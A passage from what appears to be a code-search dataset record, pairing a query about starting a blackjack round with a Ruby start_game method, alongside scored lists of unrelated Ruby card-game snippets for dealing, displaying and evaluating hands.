\"the ace of hearts\",\n \"s2\" => \"the 2 of spades\", \"s3\" => \"the 3 of spades\", \"s4\" => \"the 4 of spades\", \"s5\" => \"the 5 of spades\", \"s6\" => \"the 6 of spades\", \"s7\" => \"the 7 of spades\", \"s8\" => \"the 8 of spades\", \"s9\" => \"the 9 of spades\", \"s10\" => \"the 10 of spades\", \"sj\" => \"the jack of spades\", \"sq\" => \"the queen of spades\", \"sk\" => \"the king of spades\", \"sa\" => \"the ace of spades, aww yeah!\"\n}\n puts \"Your hand contains the following cards:\"\n hand.each do |key, _|\n puts card_names[key]\n end\nend", "def display_cards(card_array)\n card_images = [[],[],[],[],[]]\n card_array.each do |card|\n card_images.each_index { |index| card_images[index] << make_card_image(card)[index] }\n end\n \n card_images.each do |image_section_of_card|\n puts image_section_of_card.join(\" \")\n end\n end", "def create_hand string\n string.split(/\\s+/).inject([]) do |memo, card_str|\n memo.push Card.new(card_str)\n end\n end", "def create_hand(deck)\n card_1 = create_card(deck)\n card_2 = create_card(deck)\n \n hand = []\n hand << card_1\n hand << card_2\nend", "def build_deck\n# This function builds an array of 52 cards made up of 4 copies of fixed nums with values from 1 to 13\n\t@deck = []\n\tfor num in 1..4\n\t\tfor num in 1..13\n\t\t\[email protected](num)\n\t\tend\n\tend\nend", "def opening_hand(players_cards, computers_cards, deck)\n players_cards.push (the_draw(deck))\n computers_cards.push (the_draw(deck))\n players_cards.push (the_draw(deck))\n computers_cards.push (the_draw(deck))\n end", "def to_s\n # Default is to pad index to 2 chars, use 80 char line\n # Pad is 2 chars, card is 2 chars, colon is 1 and space is 1 = 6\n pad = 2\n cpl = (80 / (pad + 4)) # Cards per line\n\n # Check number of cards left; yes a deck only has 52 cards, but the\n # children are our future, so let's make this method work for them too.\n if cards.length > 99\n pad = 3\n cpl = (80 / (pad + 4))\n end\n\n result = String.new\n 0.upto(@cards.length - 1) do |x|\n (pad - (x + 1).to_s.length).times { result += \"0\" }\n result += (x + 1).to_s\n result += \":\"\n result += @cards[x].to_s\n result += \" \"\n result += \"\\n\" if ( (x + 1) % cpl ) == 0 and x + 1 != @cards.length\n end\n return result\n end", "def render_hand\n p hand.map {|card| [card.value, card.suit]}\n end", "def to_s\n\t\tstr = \"\"\n\t\[email protected] do |card|\n\t\t\tstr += \"#{card} \"\n\t\tend\t\n\t\tstr.strip\t\n\tend", "def generate_card\n\t suit = %w[s d h c]\n\t rank = %w[1 2 3 4 5 6 7 8 9 10 j q k]\n\t #(0...size).map{ charset.to_a[rand(charset.size)] }.join\n\t suit[rand(suit.size)] + rank[rand(rank.size)] + \".gif\"\n\tend", "def card_output(cards)\n cards.each do |card|\n if card.downcase.include?('h')\n print \" #{card.chars[0]} of Hearts \".light_red.on_light_white\n # print \"#{card}\".light_red.on_light_white\n elsif card.downcase.include?('c')\n print \" #{card.chars[0]} of Clubs \".black.on_light_white\n # print \"#{card}\".black.on_light_white\n elsif card.downcase.include?('d')\n print \" #{card.chars[0]} of Diamonds \".red.on_light_white\n # print \"#{card}\".red.on_light_white\n elsif card.downcase.include?('s')\n print \" #{card.chars[0]} of Spades \".light_black.on_light_white\n # print \"#{card}\".light_black.on_light_white\n end\n print ' and the ' unless card == cards.last\n end\nend", "def display_hand\n display_hand = []\n @hand.each do |h|\n display_hand << \"#{create_hand(h)}\"\n end\n display_hand\n end", "def flush_cards(cards)\n\t\thsh = {}\n\t\tcards.each {|c| hsh[c.suit] ||= []; hsh[c.suit] << c}\n\t\tret = []\n\t\thsh.each {|suit, suit_cards| ret = suit_cards if suit_cards.size > ret.size}\n\t\tret.sort_by {|x| x.sort_value}\n\tend", "def << new_cards\n if new_cards.is_a?(PokerHand)\n new_cards = new_cards.to_a\n elsif new_cards.is_a?(Card) || new_cards.is_a?(String)\n new_cards = [new_cards]\n end\n \n #debugger\n new_cards.each do |nc|\n unless @@allow_duplicates\n raise \"A card with the value #{nc} already exists in this hand. Set PokerHand.allow_duplicates to true if you want to be able to add a card more than once.\" if self =~ /#{nc}/\n end\n \n @hand << Card.new(nc)\n end\n end", "def return(cards)\n @deck += cards\n end", "def to_s\n result = \"\"\n self.each { |card | result << \"#{card} \" } \n return result\n end", "def generate_a_deck\n Card::SUITS.map do |suit|\n Card::RANKS.map do |rank|\n Card.new(suit: suit, rank: rank)\n end\n end.flatten\n end", "def hand_deal\n hand = []\n 2.times do\n @card = self.random_card_deal\n hand.push(@card)\n end\n hand\n end", "def hand_display(person=\"Player\",cards)\n print \"#{person} hand - \"\n cards.each do |sub_array|\n print sub_array.first + \" / \"\n end\n puts \"or #{hand_value(cards)}\"\nend", "def build_deck_of_top_n_cards(num_cards, options = {})\n raise ArgumentError, \"num_cards must be an integer\" unless num_cards.class <= Integer\n\n options[:simplified] ||= false\n\n type = options[:simplified] ? \"simplified\" : \"traditional\"\n\n headers = %w[front back]\n output_deck_filename = \"top-#{num_cards}-#{type}-chinese-characters.txt\"\n\n puts \"Generating: #{output_deck_filename}\"\n\n # since there can be multiple entries for some characters, store descriptions onto an\n # hash of arrays keyed by character which we can join together later.\n card_hash = {}\n\n most_common_chinese_characters(options).take(num_cards).each do |pair|\n character = pair[\"character\"]\n description = pair[\"description\"]\n\n card_hash[character] ||= []\n card_hash[character] << description\n end\n\n cards = []\n\n card_hash.each do |character, descriptions|\n cards << {\n \"front\" => character,\n \"back\" => descriptions.join(\"<br /><br />\"),\n }\n end\n\n deck = Anki::Deck.new(card_headers: headers, card_data: cards, field_separator: \"|\")\n\n # ensure output directories exist. there's probably a FileUtils method for this...\n [\"decks\", \"decks/#{type}\"].each do |dir|\n begin\n Dir.mkdir(dir)\n rescue Errno::EEXIST\n end\n end\n\n output_path = \"decks/#{type}/#{output_deck_filename}\"\n deck.generate_deck(file: output_path)\nend", "def suit\n suit_array = [\"♦\",\"♣\",\"♠\",\"♥\"]\n end", "def create_deck\r\n all_cards = []\r\n # Hearts ♥\r\n all_cards << ace_of_hearts = Ace.new('A', 'hearts', \"♥\")\r\n all_cards << king_of_hearts = Card.new('K', 'hearts', 10, \"♥\")\r\n all_cards << queen_of_hearts = Card.new('Q', 'hearts', 10, \"♥\")\r\n all_cards << jack_of_hearts = Card.new('J', 'hearts', 10, \"♥\")\r\n all_cards << ten_of_hearts = Card.new('10', 'hearts', 10, \"♥\")\r\n all_cards << nine_of_hearts = Card.new('9', 'hearts', 9, \"♥\")\r\n all_cards << eight_of_hearts = Card.new('8', 'hearts', 8, \"♥\")\r\n all_cards << seven_of_hearts = Card.new('7', 'hearts', 7, \"♥\")\r\n all_cards << six_of_hearts = Card.new('6', 'hearts', 6, \"♥\")\r\n all_cards << five_of_hearts = Card.new('5', 'hearts', 5, \"♥\")\r\n all_cards << four_of_hearts = Card.new('4', 'hearts', 4, \"♥\")\r\n all_cards << three_of_hearts = Card.new('3', 'hearts', 3, \"♥\")\r\n all_cards << two_of_hearts = Card.new('2', 'hearts', 2, \"♥\")\r\n # Spades ♠\r\n all_cards << ace_of_spades = Ace.new('A', 'spades', \"♠\")\r\n all_cards << king_of_spades = Card.new('K', 'spades', 10, \"♠\")\r\n all_cards << queen_of_spades = Card.new('Q', 'spades', 10, \"♠\")\r\n all_cards << jack_of_spades = Card.new('J', 'spades', 10, \"♠\")\r\n all_cards << ten_of_spades = Card.new('10', 'spades', 10, \"♠\")\r\n all_cards << nine_of_spades = Card.new('9', 'spades', 9, \"♠\")\r\n all_cards << eight_of_spades = Card.new('8', 'spades', 8, \"♠\")\r\n all_cards << seven_of_spades = Card.new('7', 'spades', 7, \"♠\")\r\n all_cards << six_of_spades = Card.new('6', 'spades', 6, \"♠\")\r\n all_cards << five_of_spades = Card.new('5', 'spades', 5, \"♠\")\r\n all_cards << four_of_spades = Card.new('4', 'spades', 4, \"♠\")\r\n all_cards << three_of_spades = Card.new('3', 'spades', 3, \"♠\")\r\n all_cards << two_of_spades = Card.new('2', 'spades', 2, \"♠\")\r\n # Diamonds ♦\r\n all_cards << ace_of_diamonds = Ace.new('A', 'diamonds', \"♦\")\r\n all_cards << king_of_diamonds = Card.new('K', 'diamonds', 10, \"♦\")\r\n all_cards << queen_of_diamonds = Card.new('Q', 'diamonds', 10, \"♦\")\r\n all_cards << jack_of_diamonds = Card.new('J', 'diamonds', 10, \"♦\")\r\n all_cards << ten_of_diamonds = Card.new('10', 'diamonds', 10, \"♦\")\r\n all_cards << nine_of_diamonds = Card.new('9', 'diamonds', 9, \"♦\")\r\n all_cards << eight_of_diamonds = Card.new('8', 'diamonds', 8, \"♦\")\r\n all_cards << seven_of_diamonds = Card.new('7', 'diamonds', 7, \"♦\")\r\n all_cards << six_of_diamonds = Card.new('6', 'diamonds', 6, \"♦\")\r\n all_cards << five_of_diamonds = Card.new('5', 'diamonds', 5, \"♦\")\r\n all_cards << four_of_diamonds = Card.new('4', 'diamonds', 4, \"♦\")\r\n all_cards << three_of_diamonds = Card.new('3', 'diamonds', 3, \"♦\")\r\n all_cards << two_of_diamonds = Card.new('2', 'diamonds', 2, \"♦\")\r\n # Clubs ♣\r\n all_cards << ace_of_clubs = Ace.new('A', 'clubs', \"♣\")\r\n all_cards << king_of_clubs = Card.new('K', 'clubs', 10, \"♣\")\r\n all_cards << queen_of_clubs = Card.new('Q', 'clubs', 10, \"♣\")\r\n all_cards << jack_of_clubs = Card.new('J', 'clubs', 10, \"♣\")\r\n all_cards << ten_of_clubs = Card.new('10', 'clubs', 10, \"♣\")\r\n all_cards << nine_of_clubs = Card.new('9', 'clubs', 9, \"♣\")\r\n all_cards << eight_of_clubs = Card.new('8', 'clubs', 8, \"♣\")\r\n all_cards << seven_of_clubs = Card.new('7', 'clubs', 7, \"♣\")\r\n all_cards << six_of_clubs = Card.new('6', 'clubs', 6, \"♣\")\r\n all_cards << five_of_clubs = Card.new('5', 'clubs', 5, \"♣\")\r\n all_cards << four_of_clubs = Card.new('4', 'clubs', 4, \"♣\")\r\n all_cards << three_of_clubs = Card.new('3', 'clubs', 3, \"♣\")\r\n all_cards << two_of_clubs = Card.new('2', 'clubs', 2, \"♣\")\r\n all_cards\r\nend", "def eval_7_card_hand( cards )\n 1\n end", "def assemble_deck\n cards = (north_south_tricks + east_west_tricks).map(&:cards)\n BeloteDeck.new cards\n end", "def return(newcards)\n newcards.each do |newc|\n cards.push(newc)\n end \n end", "def dealTable(hands = 4, cards = 5)\n table = []\n hands.times do \n table << Hand.new\n end\n cards.times do\n table.each{|i| i.addCard(@cards.pop)} \n end \n return table\n end", "def show(card)\n # H ==1, D==2, C==3, S==4\n card[0] = 'H' if card[0] == 1\n card[0] = 'D'if card[0] == 2\n card[0] = 'C' if card[0] == 3\n card[0] = 'S' if card[0] == 4\n card[1] = 'J' if card[1] == 11\n card[1] = 'Q' if card[1] == 12\n card[1] = 'K' if card[1] == 13\n card[1] = 'A' if card[1] == 14\n card\n end", "def deal_cards(cards)\n super\n @pipe.puts cards.join $/\n @pipe.puts\n @pipe.flush\n end", "def draw()\n hand = @deck.pop(5)\n p hand\n if @deck.length() <= 5\n self.send('generate')\n end\n return hand.join(\" \")\n end", "def create_deck\n all_cards = []\n # Hearts ♥\n all_cards << ace_of_hearts = Ace.new('A', 'hearts', \"♥\")\n all_cards << king_of_hearts = Card.new('K', 'hearts', 10, \"♥\")\n all_cards << queen_of_hearts = Card.new('Q', 'hearts', 10, \"♥\")\n all_cards << jack_of_hearts = Card.new('J', 'hearts', 10, \"♥\")\n all_cards << ten_of_hearts = Card.new('10', 'hearts', 10, \"♥\")\n all_cards << nine_of_hearts = Card.new('9', 'hearts', 9, \"♥\")\n all_cards << eight_of_hearts = Card.new('8', 'hearts', 8, \"♥\")\n all_cards << seven_of_hearts = Card.new('7', 'hearts', 7, \"♥\")\n all_cards << six_of_hearts = Card.new('6', 'hearts', 6, \"♥\")\n all_cards << five_of_hearts = Card.new('5', 'hearts', 5, \"♥\")\n all_cards << four_of_hearts = Card.new('4', 'hearts', 4, \"♥\")\n all_cards << three_of_hearts = Card.new('3', 'hearts', 3, \"♥\")\n all_cards << two_of_hearts = Card.new('2', 'hearts', 2, \"♥\")\n # Spades ♠\n all_cards << ace_of_spades = Ace.new('A', 'spades', \"♠\")\n all_cards << king_of_spades = Card.new('K', 'spades', 10, \"♠\")\n all_cards << queen_of_spades = Card.new('Q', 'spades', 10, \"♠\")\n all_cards << jack_of_spades = Card.new('J', 'spades', 10, \"♠\")\n all_cards << ten_of_spades = Card.new('10', 'spades', 10, \"♠\")\n all_cards << nine_of_spades = Card.new('9', 'spades', 9, \"♠\")\n all_cards << eight_of_spades = Card.new('8', 'spades', 8, \"♠\")\n all_cards << seven_of_spades = Card.new('7', 'spades', 7, \"♠\")\n all_cards << six_of_spades = Card.new('6', 'spades', 6, \"♠\")\n all_cards << five_of_spades = Card.new('5', 'spades', 5, \"♠\")\n all_cards << four_of_spades = Card.new('4', 'spades', 4, \"♠\")\n all_cards << three_of_spades = Card.new('3', 'spades', 3, \"♠\")\n all_cards << two_of_spades = Card.new('2', 'spades', 2, \"♠\")\n # Diamonds ♦\n all_cards << ace_of_diamonds = Ace.new('A', 'diamonds', \"♦\")\n all_cards << king_of_diamonds = Card.new('K', 'diamonds', 10, \"♦\")\n all_cards << queen_of_diamonds = Card.new('Q', 'diamonds', 10, \"♦\")\n all_cards << jack_of_diamonds = Card.new('J', 'diamonds', 10, \"♦\")\n all_cards << ten_of_diamonds = Card.new('10', 'diamonds', 10, \"♦\")\n all_cards << nine_of_diamonds = Card.new('9', 'diamonds', 9, \"♦\")\n all_cards << eight_of_diamonds = Card.new('8', 'diamonds', 8, \"♦\")\n all_cards << seven_of_diamonds = Card.new('7', 'diamonds', 7, \"♦\")\n all_cards << six_of_diamonds = Card.new('6', 'diamonds', 6, \"♦\")\n all_cards << five_of_diamonds = Card.new('5', 'diamonds', 5, \"♦\")\n all_cards << four_of_diamonds = Card.new('4', 'diamonds', 4, \"♦\")\n all_cards << three_of_diamonds = Card.new('3', 'diamonds', 3, \"♦\")\n all_cards << two_of_diamonds = Card.new('2', 'diamonds', 2, \"♦\")\n # Clubs ♣\n all_cards << ace_of_clubs = Ace.new('A', 'clubs', \"♣\")\n all_cards << king_of_clubs = Card.new('K', 'clubs', 10, \"♣\")\n all_cards << queen_of_clubs = Card.new('Q', 'clubs', 10, \"♣\")\n all_cards << jack_of_clubs = Card.new('J', 'clubs', 10, \"♣\")\n all_cards << ten_of_clubs = Card.new('10', 'clubs', 10, \"♣\")\n all_cards << nine_of_clubs = Card.new('9', 'clubs', 9, \"♣\")\n all_cards << eight_of_clubs = Card.new('8', 'clubs', 8, \"♣\")\n all_cards << seven_of_clubs = Card.new('7', 'clubs', 7, \"♣\")\n all_cards << six_of_clubs = Card.new('6', 'clubs', 6, \"♣\")\n all_cards << five_of_clubs = Card.new('5', 'clubs', 5, \"♣\")\n all_cards << four_of_clubs = Card.new('4', 'clubs', 4, \"♣\")\n all_cards << three_of_clubs = Card.new('3', 'clubs', 3, \"♣\")\n all_cards << two_of_clubs = Card.new('2', 'clubs', 2, \"♣\")\n all_cards\nend", "def to_s\n result = \"[#{@cards.join(\"|\")}]: \"\n if is_soft\n result += total.join(\" or \")\n else\n result += total.to_s\n end\n if is_bust\n result += \" BUSTED\"\n elsif is_bj\n result += \" BLACKJACK\"\n elsif total_high == 21\n result += \" NICE\"\n end\n return result\n end", "def to_s\n just_cards + \" (\" + hand_rating + \")\"\n end", "def build_deck(deck_count = 1)\n arr = []\n for i in 1..deck_count\n deck_hash = {}\n ['Clubs', 'Hearts', 'Spades', 'Diamonds'].each do |suit|\n val = 0\n ['A ','2 ','3 ','4 ','5 ','6 ','7 ','8 ','9 ','10 ','J ','Q ','K '].each do |face|\n val += 1 unless val == 10\n deck_hash.merge!({\"#{face}#{suit}\".to_sym => val})\n end\n end\n arr << deck_hash\n end\n arr\n end", "def show_cards(players_hand, dealers_hand)\n puts \"Dealers cards:\"\n dealers_hand.each do |card|\n puts \".---. \"\n puts \"|#{card[0]} | \"\n puts \"| #{card[1]} | \"\n puts \"| #{card[0]}| \"\n puts \".---. \"\n puts\n end\n puts \"Players cards:\"\n players_hand.each do |card|\n puts \".---. \"\n puts \"|#{card[0]} | \"\n puts \"| #{card[1]} | \"\n puts \"| #{card[0]}| \"\n puts \".---. \"\n puts\n end\nend", "def combos(cards)\n cards.to_a.combination(3).to_a\n end", "def to_s\n s = \"\"\n @stack.each do |card|\n s += \", \" if s.length > 0\n s += card.to_s\n end\n s\n end", "def printCardArray()\n\t\tprint @cards\n\tend", "def print_game\n print \" Cards in game: \"\n (0..6).each { |c| print show @cards[c] }\n print \"\\n Cards on the table: \"\n (2..6).each { |n| print show @cards[n] }\n print \"\\n Cards in hand of your player: \"\n (0..1).each { |index| print show @cards[index] }\n print \"\\n Hash to analize combinations in game: \",$hash_7_card\n end", "def card_display(cards, num_cards, hidden = false)\n dealer_first_card = cards[0] if hidden == true\n cards[0] = [' ', ' '] if hidden == true\n num_cards.times { print \" ______ \" }\n puts \"\"\n num_cards.times { |num| print \" |#{cards[num][0].encode('utf-8')} |\" }\n puts \"\"\n num_cards.times { print \" | |\" }\n puts \"\"\n num_cards.times { |num| print \" | #{cards[num][1]} |\" }\n puts \"\"\n num_cards.times { print \" | |\" }\n puts \"\"\n num_cards.times { |num| print \" |_____#{cards[num][0].encode('utf-8')}|\" }\n puts \"\"\n cards[0] = dealer_first_card if hidden == true\nend", "def return_cards\n @hand = []\n end", "def card_in_game\n (2..14).each {|r| (1..4).each { |i| @pack_of_card << [i, r] }}\n @cards = @pack_of_card.shuffle.take(7)\n # @hash_7_card is hash prepared for analyze combinations and the highest combination to win\n $hash_7_card = array_suit_rank\n end", "def find_candidates(array_of_arrays_of_arrays)\n allsyms = [\"+\", \"-\", \"/\", \"*\", \"(\", \")\"]\n somefile = File.new(\"cards.txt\", \"w\")\n array_of_arrays_of_arrays.each do |a_of_a|\n all_results = permutations(a_of_a, 0)\n cards = []\n\n all_results.each do |r|\n begin\n eval(r.join(\"\"))\n rescue Exception => exc\n else\n if eval(r.join(\"\")) == 24 then cards << r end\n end\n end\n \n puts cards.length\n\n cards.each do |array|\n numsOnly = array.select do |char|\n !allsyms.include?(char)\n end\n candidate = numsOnly.map do |num|\n num.to_i\n end\n somefile.print candidate\n somefile.print \",\"\n end\n\n end\n somefile.close\nend", "def build_suite (letter)\n suite = []\n\n 2.upto(10) do |value|\n suite << \"#{value.to_s+letter}\"\n end\n\n suite << \"#{'J'+letter}\"\n suite << \"#{'Q'+letter}\"\n suite << \"#{'K'+letter}\"\n suite << \"#{'A'+letter}\"\n\n suite.each {|card| @full_deck_array << card}\n end", "def generate_stack\n VALUES.product(SUITS).map!(&:join)\n\n # stack = []\n # VALUES.each do |value|\n # SUITS.each do |suit|\n # stack << value + suit\n # end\n # end\n # stack\n end", "def deal_hand\n\t\thand = Array.new\n\t\t@num_cards.times do\n\t\t\tcard = get_card(get_random_number)\n\t\t\thand << card\n\t\t\tremove_card_from_deck(card)\n\t\tend\n\t\thand\n\tend", "def sort_cards\n hearts = []\n spades = []\n clubs = []\n diamonds = []\n\n # Sort each card into its corresponding suit array\n @cards.each do |card|\n case card.suit\n when :hearts\n hearts << card\n when :spades\n spades << card\n when :clubs\n clubs << card\n when :diamonds\n diamonds << card\n end\n end\n\n # Cards need to be in descending order, so sort\n # then reverse the arrays\n hearts.sort!.reverse!\n spades.sort!.reverse!\n clubs.sort!.reverse!\n diamonds.sort!.reverse!\n\n # Combine all suit arrays in order\n @cards = hearts + spades + clubs + diamonds\n end", "def draw_card(number_of_cards)\n for i in 1..number_of_cards\n @hand.push(@deck.pop)\n end\n end", "def computer_hand\n hands = ['r', 'p', 's']\n ran = hands.sample\n ran.to_s\nend", "def to_s\n @cards.sort.collect do |card|\n \"#{card.value} of #{card.suit}\"\n end.join(', ')\n end", "def board\n string = \"\"\n @array.each do |element|\n if (1..9).include?(element)\n string << element.to_s\n else\n string << \"-\"\n end\n end\n string\n end", "def keystream_maker( length )\n cipher_deck = Deck.new\n numbered_keystream = []\n char = 1\n while char <= length do\n \n cipher_deck.move_card(Card.new(:a_joker, :spades, 53), 1)\n cipher_deck.move_card(Card.new(:b_joker, :spades, 53), 2)\n cipher_deck.joker_split\n cipher_deck.pull_push( cipher_deck.value_of(53) )\n \n # non-destructive:\n value = cipher_deck.value_of( cipher_deck.value_of(0) )\n \n if value <= 52\n numbered_keystream << value.to_s + ' '\n numbered_keystream << ' ' if (char % 5 == 0) and (char != length)\n char += 1\n end\n \n end # char while loop\n # for each char do:\n \n \n \n # \n # 5. convert top card to value, count down that many cards from top, with top card being #1, use card directly after count - so if top of deck looks like 2 3 4, we look at the 4 => returning \"D\", step does not alter deck, if joker - returns nothing, have to repeat 1..5 to get letter\n \n #\"DWJXH YRFDG TMSHP UURXJ\"\n \n #if char multiple of 5, and not the last char, append a \" \", to make words\n number_decoder(numbered_keystream.to_s.strip)\n \nend", "def return(new_cards)\n\n new_cards.each do |card|\n self.deck.push(card)\n end\n\n end", "def initialize\n @card_classes = ['Hearts','Spades','Diamonds','Clubs']\n @card_types = ['Two of','Three of','Four of','Five of','Six of','Seven of','Eight of','Nine of','Ten of','Jack of','Queen of' ,'King of','Ace of']\n @deck = []\n @card_types.each do |c_types|\n @card_classes.each do |c_class|\n @deck.push(c_types + \" \" + c_class)\n end\n end\n end", "def getCards(aDeck)\n\t\treturn 13.times{self << aDeck.next}\t\n\tend", "def deal_cards(deck)\n hands []\n players.each do |player|\n hand = {\n player: = player\n card: = deck.shift\n }\n hands << hand\n end\n hands\n end", "def get_cards\n cards = []\n index = 0\n [2, 3, 4, 5, 6, 7, 8, 9, 10, 10, 10, 10, 11].each do |num|\n 24.times do\n cards[index] = num\n index += 1\n end\n end\n shuffle(cards)\n end", "def convert_deck(arr_of_cards)\n arr_of_cards.each do |card|\n # Remove the \"Your Cards:\" from the first element\n if arr_of_cards.index(card) == 0\n card.slice!(0, 12)\n end\n end\n end", "def concatenate_array_of_strings(array)\n counter = 0\n strings_concatenated = ''\n\n until array.length <= counter \n strings_concatenated << array[counter]\n counter += 1\n end\n strings_concatenated \nend", "def generate_deck # ANTHONY\n @suits.each do |suit|\n @rank.each do |rank|\n color = (suit == 'Spades' || suit == 'Clubs') ? 'Black' : 'Red'\n @cards << Card.new(rank, suit, color)\n end\n end\n end", "def create_deck\n suits = [\"Hearts\", \"Diamonds\", \"Spades\", \"Clubs\"]\n values = ['2', '3', '4', '5', '6', '7', '8', '9', '10', 'Ace', 'Jack', 'Queen', 'King']\n\n deck = []\n\n suits.each do |suit|\n values.each do |value|\n deck << \"#{suit}: #{value}\"\n end\n end\n\n return deck.sample(52) # .sample method returns a random element \nend", "def royal_flush(hand)\nsuit_value = []\nface_value = []\n\thand.each do |card|\n\t\tface_value << card[0]\n\t\tsuit_value << card[1]\n\tend\n\t# suit_value = card_separator(hand)\n\t# If statement checking length of the suit value after suits are separated from royal flush => should all be \"d\" for diamonds(uniq removes all duplicates making the length 1)\n\tif suit_value.uniq.length == 1\n\t\t# Then if face_value inlcudes the [\"A\", \"K\", \"Q\", \"J\", \"T\"] faces, the hand1 value will return true\n\t\ttrue if face_value.include?(\"A\") && face_value.include?(\"K\") && face_value.include?(\"Q\") && face_value.include?(\"J\") && face_value.include?(\"T\")\n\tend\nend", "def build_shoe(num_of_decks)\n shoe = []\n num_of_decks.times do |_|\n DECK_OF_CARDS.map do |card|\n shoe << card\n end\n end\n shoe\nend", "def initialize_deck\n [\"A\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"10\", \"J\", \"Q\", \"K\"].product(['S', 'H', 'C', 'D'])\nend", "def initialize_deck\n [\"A\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"10\", \"J\", \"Q\", \"K\"].product(['S', 'H', 'C', 'D'])\nend", "def file_to_string_array\n card_list = []\n # File.open(\"./lib/two_cards.txt\").each do |line|\n File.open(@filename).each do |line|\n card_list << line\n end\n card_list.each do |card|\n card.slice!(\"\\n\")\n end\n #puts \"#{@card_list}\"\n #@card_list\n end", "def random_card\r\nsuit = [' of hearts', ' of spades', ' of diamonds', ' of clubs']\r\nrank = [2, 3, 4, 5, 6, 7, 8, 9, 10, 'Jack', 'Queen', 'King', 'Ace']\r\n\tcard_rank = rank[rand(13)]\r\n\tcard_suit = suit[rand(4)]\r\n\tcard = card_rank.to_s + card_suit\r\n card\r\nend", "def initialize\n @cards = []\n suits = [:hearts, :diamonds, :spades, :clubs]\n suits.each do |suit|\n (2..10).each do |value|\n @cards << Card.new(suit, value)\n end\n [\"J\", \"Q\", \"K\", \"A\"].each do |facecard|\n @cards << Card.new(suit, facecard)\n end\n end\n\n def shuffle!\n cards.shuffle!\n end\n\n def empty?\n self.cards.empty?\n end\n\n\nend", "def combine(deck)\n if block_given?\n @cards = yield(@cards, deck.empty)\n else\n @cards.concat(deck.empty)\n end\n\n end", "def list_hand_cards(card_array) \n user_choice = \"\"\n while user_choice != \"⬅️ BACK ⬅️\" && user_choice != \"🗑 DELETE READING 🗑\" do\n user_choice = prompt.select(\"🔮 #{self.user.name}, Select a card to see more details.\") do |menu|\n card_emoji_string = \"🂠\"\n crystal_ball_emoji_string = \"🔮\"\n card_array.map do |handCard|\n string=\" 🂠 TAROT #{crystal_ball_emoji_string} 🂠 \"\n menu.choice \" 🂠 TAROT #{crystal_ball_emoji_string} 🂠 \", -> {reading_card(handCard.card, card_array,string); \" 🂠 TAROT #{crystal_ball_emoji_string} 🂠 \"}\n card_emoji_string += \"🂠\"\n crystal_ball_emoji_string += \" 🔮\"\n end\n menu.choice \"🗑 DELETE READING 🗑\", -> {self.delete_reading(card_array); \"🗑 DELETE READING 🗑\"}\n menu.choice \"⬅️ BACK ⬅️\", -> {self.main_menu;\"⬅️ BACK ⬅️\"}\n end \n end \n end", "def print_all all\n (0..all.size).each do |i| # prints the cards into 3 rows with 4 columns\n puts\n print \"\\t#{i}) %-39s \" % all[1][i][4, 20]\n print \"\\t#{i}) %-39s \" % all[2][i][4, 20]\n print \"\\t#{i}) %-39s \" % all[3][i][4, 20]\n end\nend" ]
[ "0.71125185", "0.68591887", "0.6783962", "0.6570963", "0.6558313", "0.64254916", "0.6419686", "0.6400856", "0.63796675", "0.6365292", "0.63648283", "0.63531643", "0.6239246", "0.6226797", "0.6154203", "0.6152053", "0.6138451", "0.6113538", "0.61042136", "0.6055579", "0.60266244", "0.6026428", "0.6012436", "0.6012334", "0.6006372", "0.5988003", "0.59418", "0.59084314", "0.58962893", "0.5885801", "0.58671993", "0.58392864", "0.5759957", "0.5738854", "0.5730663", "0.5724375", "0.5713659", "0.5678007", "0.56656545", "0.56571376", "0.5649569", "0.5643774", "0.5639226", "0.5620109", "0.5601574", "0.55816674", "0.55728203", "0.5570013", "0.5565138", "0.5559555", "0.555641", "0.55550003", "0.55327064", "0.55209994", "0.55206203", "0.55092835", "0.5508027", "0.55003023", "0.5498929", "0.54970133", "0.54920673", "0.549105", "0.548932", "0.54880416", "0.5487272", "0.547754", "0.54635245", "0.5444593", "0.54429424", "0.5436297", "0.541412", "0.540818", "0.5400728", "0.53952974", "0.5387501", "0.5385024", "0.53767323", "0.5374496", "0.5368632", "0.53400004", "0.5325918", "0.5322888", "0.532261", "0.53175765", "0.5317513", "0.5308714", "0.5306415", "0.5299105", "0.52989703", "0.5298613", "0.52902734", "0.52896327", "0.5280628", "0.5280628", "0.5272912", "0.52674466", "0.5258449", "0.52573895", "0.5244996", "0.5241812" ]
0.80107224
0
Start a game round and launch the apropriate methods to display +++ the diverse screens.
def start_game @deck_current = @deck_default @hand_dealer = [] @hand_player = [] get_card_and_put_in_hand("dealer") get_card_and_put_in_hand("dealer") get_card_and_put_in_hand("player") get_card_and_put_in_hand("player") display_board_screen(true) result_player = turn_player if result_player === "over" puts "player is over 21, press enter to continue" gets bet_attribution("lose") display_betting_screen(false) elsif result_player === "stay" result_dealer = turn_dealer end if result_dealer === "over21" puts "Dealer over 21, press enter to continue" gets bet_attribution("win") display_betting_screen(false) elsif result_dealer === "over17" final_result = check_who_wins(calculate_hand_total_value(@hand_dealer), calculate_hand_total_value(@hand_player)) if final_result === "draw" puts "It's a draw, press enter to continue" bet_attribution("push") elsif final_result === "player" puts "Player wins, press enter to continue" bet_attribution("win") elsif final_result === "dealer" puts "Dealer wins, press enter to continue" bet_attribution("lose") end gets display_betting_screen(false) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def start_game\n @new_prompt.title_screen\n @new_commands.create_new_board(5)\n select_mode\n end", "def game_start\n game_setup\n @console_delegate.show\n end", "def start_game\n game_logo\n game_start_screen\n game_rules\n last_rules\n choice = maker_breaker\n game_maker if choice == 'm'\n game_breaker if choice == 'b'\n end", "def play_game\r\n \r\n Console_Screen.cls #Clear the display area\r\n \r\n #Call on the method responsible for collecting the player's move\r\n playerMove = get_player_move\r\n \r\n #Call on the method responsible for generating the computer's move\r\n computerMove = get_computer_move\r\n \r\n #Call on the method responsible for determining the results of the game\r\n result = analyze_results(playerMove, computerMove)\r\n \r\n #Call on the \r\n gameCount = game_count\r\n\r\n #Call on the method responsible for displaying the results of the game\r\n display_results(playerMove, computerMove, result)\r\n \r\n end", "def play_game\r\n\r\n Console_Screen.cls #Clear the display area\r\n\r\n #Call on the method responsible for collecting the player's move\r\n playerMove = get_player_move\r\n\r\n #Call on the method responsible for generating the computer's move\r\n computerMove = get_computer_move\r\n\r\n #Call on the method responsible for determining the results of the game\r\n result = analyze_results(playerMove, computerMove)\r\n\r\n #CAll on the method responsible for ingrementing the game count\r\n game_Count\r\n\r\n #Call on the method responsible for displaying the results of the game\r\n display_results(playerMove, computerMove, 